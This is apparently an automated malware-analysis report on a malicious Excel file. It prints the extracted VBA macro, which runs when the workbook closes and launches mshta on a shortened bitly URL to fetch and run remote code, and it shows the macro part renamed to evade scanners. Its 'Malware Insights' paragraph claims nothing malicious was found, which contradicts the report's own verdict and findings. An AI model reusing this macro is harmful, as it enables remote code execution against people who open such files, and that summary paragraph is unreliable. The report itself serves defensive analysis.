Malicious Office (OOXML) / .XLSX — malware analysis report

Static analysis result for SHA-256 d13fac2df3590ec2…

MALICIOUS

Office (OOXML) / .XLSX

18.4 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2026-05-25
MD5: 9e970f3f09f8888f971233dfdbc1c5de SHA-1: 51258e3df95677d6b9b7e884cfe9cdd4505383be SHA-256: d13fac2df3590ec2f9dbb1e17d05e2b8803d655c5f5534aa385b413af16ecf51
182 Risk Score

Malware Insights

Static analysis of the XLSX file revealed no malicious heuristics, scripts, or embedded content. The file metadata indicates it is a standard Excel spreadsheet created in 2006. Therefore, no malicious activity is suspected.

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: xl/kdaosdk.b)
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    lol = "mshta"
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Outlook = CreateObject("Outlook.Application")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/asdiasddwkokoaasdswddwdkdaw In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1632 bytes
SHA-256: 58465050d82a3574e3157e2760f64b2ec0382e8cc71996bead9ceeff3747ab0a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function lol()

lol = "mshta"
End Function


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_BeforeClose(Cancel As Boolean)
Sheet2.microsoft.ShellExecute Sheet3.lol, Sheet1.hahaha
End _
Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function hahaha()

hahaha = "https://www.bitly.com/asdiasddwkokoaasdswddwdkdaw"
End Function


Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function microsoft()
Set Outlook = CreateObject("Outlook.Application")
Set microsoft = Outlook.CreateObject("Shell.Application")


End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/kdaosdk.b 17920 bytes
SHA-256: ab9b6575e29353fff87feda7b98e904f9540ccad01ceeb93cdb0f5ba9cbad1b2